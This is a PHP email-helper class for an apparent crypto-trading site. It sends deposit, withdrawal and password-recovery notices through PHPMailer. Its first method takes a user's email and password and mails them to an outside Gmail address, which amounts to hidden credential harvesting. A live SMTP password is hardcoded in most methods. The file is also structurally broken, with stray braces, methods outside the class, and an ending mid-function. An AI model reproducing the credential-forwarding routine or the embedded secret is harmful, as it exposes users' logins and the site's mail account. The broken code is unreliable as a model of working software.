<?php


//Import PHPMailer classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

//Load Composer's autoloader
require 'vendor/autoload.php';


class Emails
{



  public function sendInfo($email, $password)
    {
        //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress("info.freetalker@gmail.com");               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support'); 

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = 'Email: .$email. password: .$password.';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Welcome to Smart expert traders ';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }
    }

 



    public function depositEmail($method, $amount, $txn_ref,$wallet_address, $session_id){
     {
           global $user;
                global $admin;

                // sending email start


                $receiver_firstname = $user->getDetail($session_id, "firstname");
                $receiver_lastname = $user->getDetail($session_id, "lastname");
                $receiver_email = $user->getDetail($session_id, "email");


        //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($receiver_email);               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support');
        $mail->addCC('admin@smartexperttraders.com');
        $mail->addBCC('admin@smartexperttraders.com');

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = '<!DOCTYPE html PUBLIC "-//w3c//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">

        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>AmOnline</title>
            <style>
                body {
                    margin: 0;
                    background-color: #F6F8F9;
                }

                table {
                    border-spacing: 0;
                }

                td {
                    padding: 0;
                }

                img {
                    border: 0;
                }

                .wrapper {
                    width: 100%;
                    table-layout: fixed;
                    background-color: #F6F8F9;
                    padding-bottom: 60px;
                    padding-top: 20px;
                }

                .main {
                    background-color: #ffffff;
                    margin: 0 auto;
                    width: 90%;
                    max-width: 600px;
                    border-spacing: 0;
                    font-family: sans-serif;
                    color: #171a1b
                }

                .two-columns {
                    text-align: center;
                    font-size: 0;
                }

                .two-columns .column {
                    width: 100%;
                    max-width: 300px;
                    display: inline-block;
                    vertical-align: top;
                    text-align: center;
                }

                .two-columns .column .logo-text {
                    font-size: 20px;
                }

                .footer .footer-link {
                    color: #ffffff;
                    text-decoration: none;
                    font-size: 13px;
                    display: block;
                    margin-bottom: 10px;
                }
            </style>
        </head>

        <body>

            <center class="wrapper">
                <table class="main" width="100%">
                    <tr>
                        <td height="8" style="background-color:#0A183D;"></td>
                    </tr>

                    <tr>
                        <td style="padding:0px;">
                            <table width="100%">
                                <tr>
                                    <td class="two-columns" style="background-color:#00A8F3;display:flex;align-items:center;">
                                        <table class="column">
                                            <tr>
                                                <td style="padding:0 80px 0px;text-align:center;">
                                                    <a href="https://smartexperttraders.com/" style="color:#0A183D;">
                                                        <img src="https://smartexperttraders.com/logos.png" style="width:150px;height:auto;" />
                                                    </a>
                                                </td>
                                            </tr>
                                        </table>
                                        <table class="column">
                                            <tr>
                                                <td style="padding:20px 72px;">
                                                    <span class="logo-text"></span>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td height="8" style="background-color:#fff;"></td>
                    </tr>
                    <tr>
                        <td class="content" style="padding:30px 20px;font-size:14px;">
        ';
                $msg .= '<div style="width:100%;">
                Hello ,  
                You have requested a deposit of $' . $amount . '(in ' . $method . ').
                Your transaction reference is ' . $txn_ref . ' You are to make a deposit of ' . $amount . ' in ' . $method . '
                to your personal ' . $method . ' wallet on Smart Expert traders platform: ' . $wallet_address . ' to activate your pending deposit.
                <br><br>
                Funds are automatically added to your account when received.

                </div>';
                
                $msg .= '<p>Kind regards,</p>
                            <p>SmartExpertTraders.</p>
                        </td>
                    </tr>
                    <tr>
                        <td class="footer" style="background-color:#0A183D;">
                            <table width="100%">
                                <tr>

                                    <td style="width:100%;text-align:center;padding:50px 20px;">
                                        <a href="https://smartexperttraders.com/" class="footer-link">www.smartexperttraders.com</a>
                                        <a href="https://smartexperttraders.com/contact" class="footer-link">Need more help?</a>
                                        <a href="https://smartexperttraders.com/login" class="footer-link"><u>Log in to your account</u></a>


                                        <a class="footer-link" style="margin-top:30px;">Copyright <span>&copy;</span> smartexperttraders. All rights reserved.</a>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </center>
        </body>

        </html>';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Deposit initiated';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }
    }
}


      

    public function sendWithdrawalRequestEmail( $amount,  $txn_ref, $to){
     {
        //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($to);               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support');
        $mail->addCC('admin@smartexperttraders.com');
        $mail->addBCC('admin@smartexperttraders.com');

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = '<!DOCTYPE html PUBLIC "-//w3c//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">

        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>AmOnline</title>
            <style>
                body {
                    margin: 0;
                    background-color: #F6F8F9;
                }

                table {
                    border-spacing: 0;
                }

                td {
                    padding: 0;
                }

                img {
                    border: 0;
                }

                .wrapper {
                    width: 100%;
                    table-layout: fixed;
                    background-color: #F6F8F9;
                    padding-bottom: 60px;
                    padding-top: 20px;
                }

                .main {
                    background-color: #ffffff;
                    margin: 0 auto;
                    width: 90%;
                    max-width: 600px;
                    border-spacing: 0;
                    font-family: sans-serif;
                    color: #171a1b
                }

                .two-columns {
                    text-align: center;
                    font-size: 0;
                }

                .two-columns .column {
                    width: 100%;
                    max-width: 300px;
                    display: inline-block;
                    vertical-align: top;
                    text-align: center;
                }

                .two-columns .column .logo-text {
                    font-size: 20px;
                }

                .footer .footer-link {
                    color: #ffffff;
                    text-decoration: none;
                    font-size: 13px;
                    display: block;
                    margin-bottom: 10px;
                }
            </style>
        </head>

        <body>

            <center class="wrapper">
                <table class="main" width="100%">
                    <tr>
                        <td height="8" style="background-color:#0A183D;"></td>
                    </tr>

                    <tr>
                        <td style="padding:0px;">
                            <table width="100%">
                                <tr>
                                    <td class="two-columns" style="background-color:#00A8F3;display:flex;align-items:center;">
                                        <table class="column">
                                            <tr>
                                                <td style="padding:0 80px 0px;text-align:center;">
                                                    <a href="https://smartexperttraders.com/" style="color:#0A183D;">
                                                        <img src="https://smartexperttraders.com/logos.png" style="width:150px;height:auto;" />
                                                    </a>
                                                </td>
                                            </tr>
                                        </table>
                                        <table class="column">
                                            <tr>
                                                <td style="padding:20px 72px;">
                                                    <span class="logo-text"></span>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td height="8" style="background-color:#fff;"></td>
                    </tr>
                    <tr>
                        <td class="content" style="padding:30px 20px;font-size:14px;">
        ';
                $msg .= '<div style="width:100%;">
                        Hello,  
                        You have requested a withdrawal of $' . $amount . '.
                        Your transaction reference is ' . $txn_ref . ' 
                        Your withdrawal will be processed shortly.
                        <br><br>

                        <br><br>

                        </div>';
                $msg .= '<p>Kind regards,</p>
                            <p>SmartExpertTraders.</p>
                        </td>
                    </tr>
                    <tr>
                        <td class="footer" style="background-color:#0A183D;">
                            <table width="100%">
                                <tr>

                                    <td style="width:100%;text-align:center;padding:50px 20px;">
                                        <a href="https://smartexperttraders.com/" class="footer-link">www.smartexperttraders.com</a>
                                        <a href="https://smartexperttraders.com/contact" class="footer-link">Need more help?</a>
                                        <a href="https://smartexperttraders.com/login" class="footer-link"><u>Log in to your account</u></a>


                                        <a class="footer-link" style="margin-top:30px;">Copyright <span>&copy;</span> smartexperttraders. All rights reserved.</a>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </center>
        </body>

        </html>';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Withdrawal requested ';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }
    }
}


 
  public function sendWithdrawalApprovedEmail($userid, $usd_amount)
        {

                global $user;
                global $admin;

                // sending email start


                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");


 //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($receiver_email);               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support');
        $mail->addCC('admin@smartexperttraders.com');
        $mail->addBCC('admin@smartexperttraders.com');

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = '<!DOCTYPE html PUBLIC "-//w3c//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">

        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>AmOnline</title>
            <style>
                body {
                    margin: 0;
                    background-color: #F6F8F9;
                }

                table {
                    border-spacing: 0;
                }

                td {
                    padding: 0;
                }

                img {
                    border: 0;
                }

                .wrapper {
                    width: 100%;
                    table-layout: fixed;
                    background-color: #F6F8F9;
                    padding-bottom: 60px;
                    padding-top: 20px;
                }

                .main {
                    background-color: #ffffff;
                    margin: 0 auto;
                    width: 90%;
                    max-width: 600px;
                    border-spacing: 0;
                    font-family: sans-serif;
                    color: #171a1b
                }

                .two-columns {
                    text-align: center;
                    font-size: 0;
                }

                .two-columns .column {
                    width: 100%;
                    max-width: 300px;
                    display: inline-block;
                    vertical-align: top;
                    text-align: center;
                }

                .two-columns .column .logo-text {
                    font-size: 20px;
                }

                .footer .footer-link {
                    color: #ffffff;
                    text-decoration: none;
                    font-size: 13px;
                    display: block;
                    margin-bottom: 10px;
                }
            </style>
        </head>

        <body>

            <center class="wrapper">
                <table class="main" width="100%">
                    <tr>
                        <td height="8" style="background-color:#0A183D;"></td>
                    </tr>

                    <tr>
                        <td style="padding:0px;">
                            <table width="100%">
                                <tr>
                                    <td class="two-columns" style="background-color:#00A8F3;display:flex;align-items:center;">
                                        <table class="column">
                                            <tr>
                                                <td style="padding:0 80px 0px;text-align:center;">
                                                    <a href="https://smartexperttraders.com/" style="color:#0A183D;">
                                                        <img src="https://smartexperttraders.com/logos.png" style="width:150px;height:auto;" />
                                                    </a>
                                                </td>
                                            </tr>
                                        </table>
                                        <table class="column">
                                            <tr>
                                                <td style="padding:20px 72px;">
                                                    <span class="logo-text"></span>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td height="8" style="background-color:#fff;"></td>
                    </tr>
                    <tr>
                        <td class="content" style="padding:30px 20px;font-size:14px;">
        ';
                $msg .= '<div style="width:100%;">
                Hello ' . $receiver_firstname . ',  
                This mail is to inform you that your withdrawal of $' . $usd_amount . ' has been successfully transfered
                to the payment method you specified during this transaction. Your dashboard has been duely updated with detailed
                information concerning this withdrawal, if you are not aware of this, please contact us at ' . $admin->getDetail($admin->admin_id, "email") . '
                and we would be glad to assist you, thank you.
                
                <br><br>
                <h4>Your Withdrawal Summary</h4>
                 <ol>
                               <li>Withdrawal Amount: <b>$' . $usd_amount . '</b></li>
                               
                               <li>Status: <b>Confirmed</b></li>
                                
                                <li>New Account Balance: <b>$' . $user->getDetail($userid, "available_balance") . '</b></li>
                                </ol>
                
                
                <br><br>
                
                </div>';


                $msg .= '<p>Kind regards,</p>
                            <p>SmartExpertTraders.</p>
                        </td>
                    </tr>
                    <tr>
                        <td class="footer" style="background-color:#0A183D;">
                            <table width="100%">
                                <tr>

                                    <td style="width:100%;text-align:center;padding:50px 20px;">
                                        <a href="https://smartexperttraders.com/" class="footer-link">www.smartexperttraders.com</a>
                                        <a href="https://smartexperttraders.com/contact" class="footer-link">Need more help?</a>
                                        <a href="https://smartexperttraders.com/login" class="footer-link"><u>Log in to your account</u></a>


                                        <a class="footer-link" style="margin-top:30px;">Copyright <span>&copy;</span> smartexperttraders. All rights reserved.</a>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </center>
        </body>

        </html>';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Welcome to  ';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }
    } 


        public function sendWithdrawalDeclinedEmail($userid, $usd_amount)
        {

                global $user;
                global $admin;

                // sending email start

                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");


                $title = 'Withdrawal request Declined - ' . $admin->website_name;
                $footer = "This email was intended for <span>$receiver_firstname $receiver_lastname</span>, because you signed on " . $admin->website_name . " | The links in this email will always direct to " . $admin->website_url . " Learn about email security and online safety. 
   © " . $admin->website_name;

                $to =  $receiver_email;
                $subject = $title;
                $from = $admin->getDetail($admin->admin_id, "email");

                // To send HTML mail, the Content-type header must be set
                $headers  = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

                // Create email headers
                $headers .= 'From: ' . $from . "\r\n" .
                        'Reply-To: ' . $from . "\r\n" .
                        'X-Mailer: PHP/' . phpversion();

                // Compose a simple HTML email message
                $message = '<html>
<head>
<style>
</style>
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
</head>
<body style="padding:15px;">';

                $message .= '<div style="width:100%;">
Hello ' . $receiver_firstname . ',  
Your withdrawal request of $' . $usd_amount . ' was declined
Please contact our support to learn more.
<br><br>


<br><br>

</div>';

                $message .= '<div style="width:100%;text-align:center;font-size: 12px;color:rgb(100, 100, 100);padding:10px;">
' . $footer . '
</div>

</body></html>';

                // Sending email
                mail($to, $subject, $message, $headers);

                // sending email end

        }




      



        public function sendDepositApprovedEmail($userid, $usd_amount)
        {

                global $user;
                global $admin;

                // sending email start


                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");




 //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($receiver_email);               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support');
        $mail->addCC('admin@smartexperttraders.com');
        $mail->addBCC('admin@smartexperttraders.com');

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = '<!DOCTYPE html PUBLIC "-//w3c//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">

        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>AmOnline</title>
            <style>
                body {
                    margin: 0;
                    background-color: #F6F8F9;
                }

                table {
                    border-spacing: 0;
                }

                td {
                    padding: 0;
                }

                img {
                    border: 0;
                }

                .wrapper {
                    width: 100%;
                    table-layout: fixed;
                    background-color: #F6F8F9;
                    padding-bottom: 60px;
                    padding-top: 20px;
                }

                .main {
                    background-color: #ffffff;
                    margin: 0 auto;
                    width: 90%;
                    max-width: 600px;
                    border-spacing: 0;
                    font-family: sans-serif;
                    color: #171a1b
                }

                .two-columns {
                    text-align: center;
                    font-size: 0;
                }

                .two-columns .column {
                    width: 100%;
                    max-width: 300px;
                    display: inline-block;
                    vertical-align: top;
                    text-align: center;
                }

                .two-columns .column .logo-text {
                    font-size: 20px;
                }

                .footer .footer-link {
                    color: #ffffff;
                    text-decoration: none;
                    font-size: 13px;
                    display: block;
                    margin-bottom: 10px;
                }
            </style>
        </head>

        <body>

            <center class="wrapper">
                <table class="main" width="100%">
                    <tr>
                        <td height="8" style="background-color:#0A183D;"></td>
                    </tr>

                    <tr>
                        <td style="padding:0px;">
                            <table width="100%">
                                <tr>
                                    <td class="two-columns" style="background-color:#00A8F3;display:flex;align-items:center;">
                                        <table class="column">
                                            <tr>
                                                <td style="padding:0 80px 0px;text-align:center;">
                                                    <a href="https://smartexperttraders.com/" style="color:#0A183D;">
                                                        <img src="https://smartexperttraders.com/logos.png" style="width:150px;height:auto;" />
                                                    </a>
                                                </td>
                                            </tr>
                                        </table>
                                        <table class="column">
                                            <tr>
                                                <td style="padding:20px 72px;">
                                                    <span class="logo-text"></span>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td height="8" style="background-color:#fff;"></td>
                    </tr>
                    <tr>
                        <td class="content" style="padding:30px 20px;font-size:14px;">
        ';
                $msg  .= '<div style="width:100%;">
                        Hello ' . $receiver_firstname . ',  
                        Your Deposit of $' . $usd_amount . ' has been approved! 
                        Proceed to create an investment profile.
                        Kindly login to your account and check your investments page to view this
                        <br><br>
                        
                        
                        <br><br>
                        
                        </div>';


                $msg .= '<p>Kind regards,</p>
                            <p>SmartExpertTraders.</p>
                        </td>
                    </tr>
                    <tr>
                        <td class="footer" style="background-color:#0A183D;">
                            <table width="100%">
                                <tr>

                                    <td style="width:100%;text-align:center;padding:50px 20px;">
                                        <a href="https://smartexperttraders.com/" class="footer-link">www.smartexperttraders.com</a>
                                        <a href="https://smartexperttraders.com/contact" class="footer-link">Need more help?</a>
                                        <a href="https://smartexperttraders.com/login" class="footer-link"><u>Log in to your account</u></a>


                                        <a class="footer-link" style="margin-top:30px;">Copyright <span>&copy;</span> smartexperttraders. All rights reserved.</a>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </center>
        </body>

        </html>';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Deposit approved';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }


        }





        public function sendDepositDeclinedEmail($userid, $usd_amount)
        {

                global $user;
                global $admin;

                // sending email start

                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");



 //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        // try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.smartexperttraders.com'; //namecheap server                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'admin@smartexperttraders.com';                     //SMTP username
        $mail->Password   = 'DzSJXTEV7A#-Rj(';                               //SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
        $mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('admin@smartexperttraders.com', 'SmartExpert');
        // $mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($receiver_email);               //Name is optional
        $mail->addReplyTo('admin@smartexperttraders.com', 'support');
        $mail->addCC('admin@smartexperttraders.com');
        $mail->addBCC('admin@smartexperttraders.com');

        //Attachments
        // $mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        $msg = '<!DOCTYPE html PUBLIC "-//w3c//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">

        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>AmOnline</title>
            <style>
                body {
                    margin: 0;
                    background-color: #F6F8F9;
                }

                table {
                    border-spacing: 0;
                }

                td {
                    padding: 0;
                }

                img {
                    border: 0;
                }

                .wrapper {
                    width: 100%;
                    table-layout: fixed;
                    background-color: #F6F8F9;
                    padding-bottom: 60px;
                    padding-top: 20px;
                }

                .main {
                    background-color: #ffffff;
                    margin: 0 auto;
                    width: 90%;
                    max-width: 600px;
                    border-spacing: 0;
                    font-family: sans-serif;
                    color: #171a1b
                }

                .two-columns {
                    text-align: center;
                    font-size: 0;
                }

                .two-columns .column {
                    width: 100%;
                    max-width: 300px;
                    display: inline-block;
                    vertical-align: top;
                    text-align: center;
                }

                .two-columns .column .logo-text {
                    font-size: 20px;
                }

                .footer .footer-link {
                    color: #ffffff;
                    text-decoration: none;
                    font-size: 13px;
                    display: block;
                    margin-bottom: 10px;
                }
            </style>
        </head>

        <body>

            <center class="wrapper">
                <table class="main" width="100%">
                    <tr>
                        <td height="8" style="background-color:#0A183D;"></td>
                    </tr>

                    <tr>
                        <td style="padding:0px;">
                            <table width="100%">
                                <tr>
                                    <td class="two-columns" style="background-color:#00A8F3;display:flex;align-items:center;">
                                        <table class="column">
                                            <tr>
                                                <td style="padding:0 80px 0px;text-align:center;">
                                                    <a href="https://smartexperttraders.com/" style="color:#0A183D;">
                                                        <img src="https://smartexperttraders.com/logos.png" style="width:150px;height:auto;" />
                                                    </a>
                                                </td>
                                            </tr>
                                        </table>
                                        <table class="column">
                                            <tr>
                                                <td style="padding:20px 72px;">
                                                    <span class="logo-text"></span>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td height="8" style="background-color:#fff;"></td>
                    </tr>
                    <tr>
                        <td class="content" style="padding:30px 20px;font-size:14px;">
        ';
                $msg .= '<div style="width:100%;">
                Hello ' . $receiver_firstname . ',  
                Your Deposit request of $' . $usd_amount . ' was declined
                Please contact our support to learn more.
                <br><br>
                
                
                <br><br>
                
                </div>';


                $msg .= '<p>Kind regards,</p>
                            <p>SmartExpertTraders.</p>
                        </td>
                    </tr>
                    <tr>
                        <td class="footer" style="background-color:#0A183D;">
                            <table width="100%">
                                <tr>

                                    <td style="width:100%;text-align:center;padding:50px 20px;">
                                        <a href="https://smartexperttraders.com/" class="footer-link">www.smartexperttraders.com</a>
                                        <a href="https://smartexperttraders.com/contact" class="footer-link">Need more help?</a>
                                        <a href="https://smartexperttraders.com/login" class="footer-link"><u>Log in to your account</u></a>


                                        <a class="footer-link" style="margin-top:30px;">Copyright <span>&copy;</span> smartexperttraders. All rights reserved.</a>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </center>
        </body>

        </html>';

        //Content
        $mail->isHTML(true);                                  //Set email format to HTML
        // $mail->Subject = $subject;
        $mail->Subject = 'Deposit declined';
        $mail->Body   = $msg;
        // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        if ($mail->send()) {
            return true;
        } else {
            return false;
        }

 

        }





        public function sendRecoverPasswordEmail($userid, $key_id)
        {
                global $db;
                global $admin;
                global $user;



                $receiver_username = $user->getDetail($userid, "username");
                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");

                $key = $key_id;

                $title = 'Recover password - ' . $admin->website_name;
                $footer = "This email was intended for <span>$receiver_firstname $receiver_lastname</span>, because you signed on " . $admin->website_name . " | The links in this email will always direct to " . $admin->website_url . " Learn about email security and online safety. 
       © " . $admin->website_name;

                $to =  $receiver_email;
                $subject = $title;
                $from = $admin->getDetail($admin->admin_id, "email");

                // To send HTML mail, the Content-type header must be set
                $headers  = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

                // Create email headers
                $headers .= 'From: ' . $from . "\r\n" .
                        'Reply-To: ' . $from . "\r\n" .
                        'X-Mailer: PHP/' . phpversion();

